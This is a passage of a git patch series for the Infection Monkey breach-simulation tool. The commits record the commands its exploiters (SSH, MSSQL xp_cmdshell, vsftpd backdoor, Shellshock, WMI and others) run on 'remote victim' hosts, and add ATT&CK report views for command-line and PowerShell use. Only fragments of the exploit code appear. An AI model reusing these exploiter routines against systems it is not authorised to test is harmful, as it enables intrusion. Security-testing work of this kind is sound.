T1003 from "../attack/techniques/T1003"; +import T1059 from "../attack/techniques/T1059"; const tech_components = { 'T1210': T1210, 'T1197': T1197, 'T1110': T1110, 'T1075': T1075, - 'T1003': T1003 + 'T1003': T1003, + 'T1059': T1059 }; const classNames = require('classnames'); From 6636cd23e8b3aec3ed7f898b94ea683466c27739 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 10 Jun 2019 12:32:01 +0300 Subject: [PATCH 07/31] Changed cmds from array to dict --- monkey/infection_monkey/exploit/__init__.py | 5 ++++- monkey/infection_monkey/exploit/hadoop.py | 2 +- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/rdpgrinder.py | 2 +- monkey/infection_monkey/exploit/shellshock.py | 2 +- monkey/infection_monkey/exploit/sshexec.py | 2 +- monkey/infection_monkey/exploit/vsftpd.py | 2 +- monkey/infection_monkey/exploit/web_rce.py | 2 +- monkey/infection_monkey/exploit/wmiexec.py | 2 +- .../cc/services/attack/technique_reports/T1059.py | 2 +- .../cc/ui/src/components/attack/techniques/T1059.js | 2 +- 11 files changed, 14 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 84dd81393..7cf1ac4cf 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -25,7 +25,7 @@ class HostExploiter(object): 'finished': '', 'vulnerable_urls': [], 'vulnerable_ports': [], - 'executed_cmds': []} + 'executed_cmds': {}} self._exploit_attempts = [] self.host = host @@ -59,6 +59,9 @@ class HostExploiter(object): def add_vuln_port(self, port): self._exploit_info['vulnerable_ports'].append(port) + def add_example_cmd(self, cmd): + self._exploit_info['executed_cmds']['example'] = cmd + from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.wmiexec import WmiExploiter diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 1e8ac9d8e..570575423 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -49,7 +49,7 @@ class HadoopExploiter(WebRCE): return False http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() - self._exploit_info['executed_cmds'].append(command) + self.add_example_cmd(command) return True def exploit(self, url, command): diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 1f21f9ecd..d738cba60 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -76,7 +76,7 @@ class MSSQLExploiter(HostExploiter): commands.extend(monkey_args) MSSQLExploiter.execute_command(cursor, commands) MSSQLExploiter.run_file(cursor, tmp_file_path) - self._exploit_info['executed_cmds'].append(commands[-1]) + self.add_example_cmd(commands[-1]) return True @staticmethod diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index dcbc01b1d..1e66040fc 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -343,5 +343,5 @@ class RdpExploiter(HostExploiter): LOG.info("Executed monkey '%s' on remote victim %r", os.path.basename(src_path), self.host) - self._exploit_info['executed_cmds'].append(command) + self.add_example_cmd(command) return True diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index b308c57fe..9db770905 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -144,7 +144,7 @@ class ShellShockExploiter(HostExploiter): if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") continue - self._exploit_info['executed_cmds'].append(cmdline) + self.add_example_cmd(cmdline) return True return False diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 9aafae2a4..226ad8943 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -178,7 +178,7 @@ class SSHExploiter(HostExploiter): self._config.dropper_target_path_linux, self.host, cmdline) ssh.close() - self._exploit_info['executed_cmds'].append(cmdline) + self.add_example_cmd(cmdline) return True except Exception as exc: diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 23a89a96e..f3f13c073 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -138,7 +138,7 @@ class VSFTPDExploiter(HostExploiter): if backdoor_socket.send(run_monkey): LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey) - self._exploit_info['executed_cmds'].append(run_monkey) + self.add_example_cmd(run_monkey) return True else: return False diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 57a4cfa60..053737075 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -420,7 +420,7 @@ class WebRCE(HostExploiter): return False LOG.info("Execution attempt finished") - self._exploit_info['executed_cmds'].append(command) + self.add_example_cmd(command) return resp def get_monkey_upload_path(self, url_to_monkey): diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 29bc08981..b9decf433 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -114,7 +114,7 @@ class WmiExploiter(HostExploiter): result.RemRelease() wmi_connection.close() - + self.add_example_cmd(cmdline) return success return False diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index 330b13c71..e85e27415 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -13,7 +13,7 @@ class T1059(AttackTechnique): used_msg = "Monkey successfully ran commands on exploited machines in the network." query = [{'$match': {'telem_type': 'exploit', - 'data.info.executed_cmds': {'$not': {'$size': 0}}}}, + 'data.info.executed_cmds.example': {'$exists': True}}}, {'$project': {'_id': 0, 'machine': '$data.machine', 'info': '$data.info'}}, diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js index 4a65ee34a..466474624 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js @@ -15,7 +15,7 @@ class T1059 extends React.Component { columns: [ {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 }, {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }}, - {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0], style: { 'whiteSpace': 'unset' }}, + {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds.example, style: { 'whiteSpace': 'unset' }}, ] }])}; From 6ca33fff68c724d77c2788fe63b778bbbb8a8c20 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 10 Jun 2019 12:41:29 +0300 Subject: [PATCH 08/31] Added header to used commands table. --- .../cc/ui/src/components/attack/techniques/T1059.js | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js index 466474624..d1c809651 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js @@ -12,6 +12,7 @@ class T1059 extends React.Component { static getHashColumns() { return ([{ + Header: 'Example commands used', columns: [ {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 }, {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }}, From dbf469f50ff4736b19446dc3e2ca30003263bbc9 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 10 Jun 2019 17:31:47 +0300 Subject: [PATCH 09/31] Powershell started --- monkey/infection_monkey/exploit/__init__.py | 9 +++++++++ monkey/infection_monkey/exploit/hadoop.py | 1 + monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/web_rce.py | 2 +- monkey/infection_monkey/exploit/weblogic.py | 4 ++-- 5 files changed, 14 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 7cf1ac4cf..a1bcb2e6f 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -62,6 +62,15 @@ class HostExploiter(object): def add_example_cmd(self, cmd): self._exploit_info['executed_cmds']['example'] = cmd + def add_powershell_cmd(self, cmd): + """ + Determines if command uses powershell and if so adds that command to exploiter info + :param cmd: Command used + :return: None + """ + if "powershell" in cmd.lower(): + self._exploit_info['executed_cmds']['powershell'] = cmd + from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.wmiexec import WmiExploiter diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 570575423..54d0ef6da 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -49,6 +49,7 @@ class HadoopExploiter(WebRCE): return False http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() + self.add_powershell_cmd(command) self.add_example_cmd(command) return True diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index d738cba60..84719c6ea 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -65,7 +65,7 @@ class MSSQLExploiter(HostExploiter): "xp_cmdshell \">%s\"" % (dst_path, tmp_file_path)] MSSQLExploiter.execute_command(cursor, commands) MSSQLExploiter.run_file(cursor, tmp_file_path) - + self.add_powershell_cmd(' '.join(commands)) # Form monkey's command in a file monkey_args = tools.build_monkey_commandline(self.host, tools.get_monkey_depth() - 1, diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 053737075..e21e6e119 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -337,7 +337,7 @@ class WebRCE(HostExploiter): command = self.get_command(paths['dest_path'], http_path, commands) resp = self.exploit(url, command) - + self.add_powershell_cmd(command) resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path) http_thread.join(DOWNLOAD_TIMEOUT) diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 4c99f82b9..f6df5f0fa 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -20,8 +20,8 @@ __author__ = "VakarisZ" LOG = logging.getLogger(__name__) # How long server waits for get request in seconds SERVER_TIMEOUT = 4 -# How long should be wait after each request in seconds -REQUEST_DELAY = 0.0001 +# How long should we wait after each request in seconds +REQUEST_DELAY = 0.1 # How long to wait for a sign(request from host) that server is vulnerable. In seconds REQUEST_TIMEOUT = 5 # How long to wait for response in exploitation. In seconds From 9cc526ca09ff6b597ba82371c07b8163fcb08c09 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 10 Jun 2019 17:33:00 +0300 Subject: [PATCH 10/31] web_rce bugfix --- monkey/infection_monkey/exploit/web_rce.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 053737075..8c478a8ac 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -407,6 +407,7 @@ class WebRCE(HostExploiter): # If exploiter returns True / False if type(resp) is bool: LOG.info("Execution attempt successfully finished") + self.add_example_cmd(command) return resp # If exploiter returns command output, we can check for execution errors if 'is not recognized' in resp or 'command not found' in resp: From 71edd48166f0c89171777852300edb51c6709799 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 10 Jun 2019 18:28:51 +0300 Subject: [PATCH 11/31] Powershell implementation started --- .../cc/services/attack/attack_report.py | 5 ++- .../cc/services/attack/attack_schema.py | 8 ++++ .../attack/technique_reports/T1086.py | 30 ++++++++++++++ .../src/components/attack/techniques/T1086.js | 40 +++++++++++++++++++ 4 files changed, 81 insertions(+), 2 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1086.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 4ec62d7a2..9a5e57633 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,5 +1,5 @@ import logging -from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059 +from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086 from monkey_island.cc.services.attack.attack_telem import AttackTelemService from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -14,7 +14,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1110': T1110.T1110, 'T1075': T1075.T1075, 'T1003': T1003.T1003, - 'T1059': T1059.T1059} + 'T1059': T1059.T1059, + 'T1086': T1086.T1086} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index a79b57a87..24c8cf1c6 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -95,6 +95,14 @@ SCHEMA = { "necessary": True, "description": "Adversaries may use command-line interfaces to interact with systems " "and execute other software during the course of an operation.", + }, + "T1086": { + "title": "T1086 Powershell", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries can use PowerShell to perform a number of actions," + " including discovery of information and execution of code.", } } }, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py new file mode 100644 index 000000000..1dc2e9a67 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -0,0 +1,30 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1086(AttackTechnique): + + tech_id = "T1086" + unscanned_msg = "Monkey didn't run powershell." + scanned_msg = "" + used_msg = "Monkey successfully ran powershell commands on exploited machines in the network." + + query = [{'$match': {'telem_type': 'exploit', + 'data.info.executed_cmds.powershell': {'$exists': True}}}, + {'$project': {'_id': 0, + 'machine': '$data.machine', + 'info': '$data.info'}}, + {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}] + + @staticmethod + def get_report_data(): + cmd_data = list(mongo.db.telemetry.aggregate(T1086.query)) + data = {'title': T1086.technique_title(T1086.tech_id), 'cmds': cmd_data} + if cmd_data: + data.update({'message': T1086.used_msg, 'status': ScanStatus.USED.name}) + else: + data.update({'message': T1086.unscanned_msg, 'status': ScanStatus.UNSCANNED.name}) + return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js new file mode 100644 index 000000000..d0b7c2928 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js @@ -0,0 +1,40 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { RenderMachine } from "./Helpers" + + +class T1086 extends React.Component { + + constructor(props) { + super(props); + } + + static getPowershellColumns() { + return ([{ + Header: 'Example Powershell commands used', + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 }, + {Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }}, + {Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds.powershell, style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === 'USED' ? + : ""} +
+ ); + } +} + +export default T1086; From 911c2e8b13116565c8b8ff80e5ae206617aa5603 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 11 Jun 2019 14:33:37 +0300 Subject: [PATCH 12/31] technique added to report UI --- .../cc/ui/src/components/report-components/AttackReport.js | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 20250873a..87f6f0a38 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -2,7 +2,7 @@ import React from 'react'; import {Col} from 'react-bootstrap'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {edgeGroupToColor, options} from 'components/map/MapOptions'; -import '../../styles/Collapse.scss' +import '../../styles/Collapse.scss'; import AuthComponent from '../AuthComponent'; import Collapse from '@kunukn/react-collapse'; import T1210 from '../attack/techniques/T1210'; @@ -11,6 +11,7 @@ import T1110 from '../attack/techniques/T1110'; import T1075 from "../attack/techniques/T1075"; import T1003 from "../attack/techniques/T1003"; import T1059 from "../attack/techniques/T1059"; +import T1086 from "../attack/techniques/T1086"; const tech_components = { 'T1210': T1210, @@ -18,7 +19,8 @@ const tech_components = { 'T1110': T1110, 'T1075': T1075, 'T1003': T1003, - 'T1059': T1059 + 'T1059': T1059, + 'T1086': T1086 }; const classNames = require('classnames'); From 8505ad0ca80d1a4a19a2350e1bd209d4b6be0542 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 18 Jun 2019 16:36:37 +0300 Subject: [PATCH 13/31] Refactored AttackTechnique methods to use @classmethod and minor improvenets in UI --- .../attack/technique_reports/T1075.py | 8 +-- .../attack/technique_reports/T1110.py | 6 +- .../attack/technique_reports/T1197.py | 2 +- .../attack/technique_reports/__init__.py | 63 +++++++++++-------- .../components/attack/techniques/Helpers.js | 2 +- .../src/components/attack/techniques/T1075.js | 20 +++--- .../src/components/attack/techniques/T1110.js | 4 +- .../src/components/attack/techniques/T1197.js | 4 +- .../src/components/attack/techniques/T1210.js | 6 +- 9 files changed, 63 insertions(+), 52 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py index 2ac3d5420..18082dfc1 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -16,7 +16,7 @@ class T1075(AttackTechnique): {'lm_hash': {'$ne': ''}}]}}} # Gets data about successful PTH logins - query = [{'$match': {'telem_type': 'exploit', + query = [{'$match': {'telem_category': 'exploit', 'data.attempts': {'$not': {'$size': 0}, '$elemMatch': {'$and': [{'$or': [{'ntlm_hash': {'$ne': ''}}, {'lm_hash': {'$ne': ''}}]}, @@ -35,9 +35,9 @@ class T1075(AttackTechnique): successful_logins = list(mongo.db.telemetry.aggregate(T1075.query)) data.update({'successful_logins': successful_logins}) if successful_logins: - data.update({'message': T1075.used_msg, 'status': ScanStatus.USED.name}) + data.update(T1075.get_message_and_status(ScanStatus.USED)) elif mongo.db.telemetry.count_documents(T1075.login_attempt_query): - data.update({'message': T1075.scanned_msg, 'status': ScanStatus.SCANNED.name}) + data.update(T1075.get_message_and_status(ScanStatus.SCANNED)) else: - data.update({'message': T1075.unscanned_msg, 'status': ScanStatus.UNSCANNED.name}) + data.update(T1075.get_message_and_status(ScanStatus.UNSCANNED)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index 7fe5ac90f..e8e4a62c3 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -35,11 +35,11 @@ class T1110(AttackTechnique): result['successful_creds'].append(T1110.parse_creds(attempt)) if succeeded: - data = T1110.get_message_and_status(T1110, ScanStatus.USED) + data = T1110.get_message_and_status(ScanStatus.USED) elif attempts: - data = T1110.get_message_and_status(T1110, ScanStatus.SCANNED) + data = T1110.get_message_and_status(ScanStatus.SCANNED) else: - data = T1110.get_message_and_status(T1110, ScanStatus.UNSCANNED) + data = T1110.get_message_and_status(ScanStatus.UNSCANNED) # Remove data with no successful brute force attempts attempts = [attempt for attempt in attempts if attempt['attempts']] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py index 0aaab082b..11e79877b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py @@ -12,7 +12,7 @@ class T1197(AttackTechnique): @staticmethod def get_report_data(): - data = T1197.get_tech_base_data(T1197) + data = T1197.get_tech_base_data() bits_results = mongo.db.attack_results.aggregate([{'$match': {'technique': T1197.tech_id}}, {'$group': {'_id': {'ip_addr': '$machine.ip_addr', 'usage': '$usage'}, 'ip_addr': {'$first': '$machine.ip_addr'}, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 8d60e963f..f37f4e082 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -47,51 +47,60 @@ class AttackTechnique(object): pass @staticmethod - def technique_status(technique): + def technique_status(tech_id): """ Gets the status of a certain attack technique. - :param technique: technique's id. + :param tech_id: ID of attack technique, for e.g. T1110 :return: ScanStatus Enum object """ - if mongo.db.attack_results.find_one({'status': ScanStatus.USED.value, 'technique': technique}): + if mongo.db.attack_results.find_one({'status': ScanStatus.USED.value, 'technique': tech_id}): return ScanStatus.USED - elif mongo.db.attack_results.find_one({'status': ScanStatus.SCANNED.value, 'technique': technique}): + elif mongo.db.attack_results.find_one({'status': ScanStatus.SCANNED.value, 'technique': tech_id}): return ScanStatus.SCANNED else: return ScanStatus.UNSCANNED - @staticmethod - def get_message_and_status(technique, status): - return {'message': technique.get_message_by_status(technique, status), 'status': status.name} - - @staticmethod - def get_message_by_status(technique, status): - if status == ScanStatus.UNSCANNED: - return technique.unscanned_msg - elif status == ScanStatus.SCANNED: - return technique.scanned_msg - else: - return technique.used_msg - - @staticmethod - def technique_title(technique): + @classmethod + def get_message_and_status(cls, status): """ - :param technique: Technique's id. E.g. T1110 + Returns a dict with attack technique's message and status. + :param status: Enum type value from common/attack_utils.py + :return: Dict with message and status + """ + return {'message': cls.get_message_by_status(status), 'status': status.name} + + @classmethod + def get_message_by_status(cls, status): + """ + Picks a message to return based on status. + :param status: Enum type value from common/attack_utils.py + :return: message string + """ + if status == ScanStatus.UNSCANNED: + return cls.unscanned_msg + elif status == ScanStatus.SCANNED: + return cls.scanned_msg + else: + return cls.used_msg + + @staticmethod + def technique_title(tech_id): + """ + :param tech_id: Technique's id. E.g. T1110 :return: techniques title. E.g. "T1110 Brute force" """ - return AttackConfig.get_technique(technique)['title'] + return AttackConfig.get_technique(tech_id)['title'] - @staticmethod - def get_tech_base_data(technique): + @classmethod + def get_tech_base_data(cls): """ Gathers basic attack technique data into a dict. - :param technique: Technique's id. E.g. T1110 :return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'} """ data = {} - status = AttackTechnique.technique_status(technique.tech_id) - title = AttackTechnique.technique_title(technique.tech_id) + status = AttackTechnique.technique_status(cls.tech_id) + title = AttackTechnique.technique_title(cls.tech_id) data.update({'status': status.name, 'title': title, - 'message': technique.get_message_by_status(technique, status)}) + 'message': cls.get_message_by_status(status)}) return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index b15bba693..785e4a295 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -1,6 +1,6 @@ import React from "react"; -export function RenderMachine(val){ +export function renderMachine(val){ return ( {val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} ) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js index 6e80c9196..35fd0cbaa 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js @@ -1,26 +1,28 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { RenderMachine } from "./Helpers" +import { renderMachine } from "./Helpers" class T1075 extends React.Component { constructor(props) { super(props); - this.props.data.successful_logins.forEach((login) => { - if(login.attempts[0].ntlm_hash !== ""){ - login.attempts[0].hashType = 'NTLM'; - } else if(login.attempts[0].lm_hash !== ""){ - login.attempts[0].hashType = 'LM'; - } - }) + this.props.data.successful_logins.forEach((login) => this.setLoginHashType(login)) + } + + setLoginHashType(login){ + if(login.attempts[0].ntlm_hash !== ""){ + login.attempts[0].hashType = 'NTLM'; + } else if(login.attempts[0].lm_hash !== ""){ + login.attempts[0].hashType = 'LM'; + } } static getHashColumns() { return ([{ columns: [ - {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }}, {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }}, {Header: 'Username', id: 'attempts', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }}, {Header: 'Hash type', id: 'credentials', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }}, diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js index 468a9e79a..294606d25 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { RenderMachine } from "./Helpers" +import { renderMachine } from "./Helpers" class T1110 extends React.Component { @@ -13,7 +13,7 @@ class T1110 extends React.Component { static getServiceColumns() { return ([{ columns: [ - {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine), + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }, width: 160}, {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100}, {Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }}, diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js index e4c7d841d..8dc655aee 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { RenderMachine } from "./Helpers" +import { renderMachine } from "./Helpers" class T1210 extends React.Component { @@ -9,7 +9,7 @@ class T1210 extends React.Component { constructor(props) { super(props); this.columns = [ {Header: 'Machine', - id: 'machine', accessor: x => RenderMachine(x), + id: 'machine', accessor: x => renderMachine(x), style: { 'whiteSpace': 'unset' }, width: 200}, {Header: 'Time', diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js index 76bc5d196..1b3daa86c 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { RenderMachine } from "./Helpers" +import { renderMachine } from "./Helpers" class T1210 extends React.Component { @@ -13,7 +13,7 @@ class T1210 extends React.Component { static getScanColumns() { return ([{ columns: [ - {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine), + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }, width: 200}, {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }}, @@ -24,7 +24,7 @@ class T1210 extends React.Component { static getExploitColumns() { return ([{ columns: [ - {Header: 'Machine', id: 'machine', accessor: x => RenderMachine(x.machine), + {Header: 'Machine', id: 'machine', accessor: x => 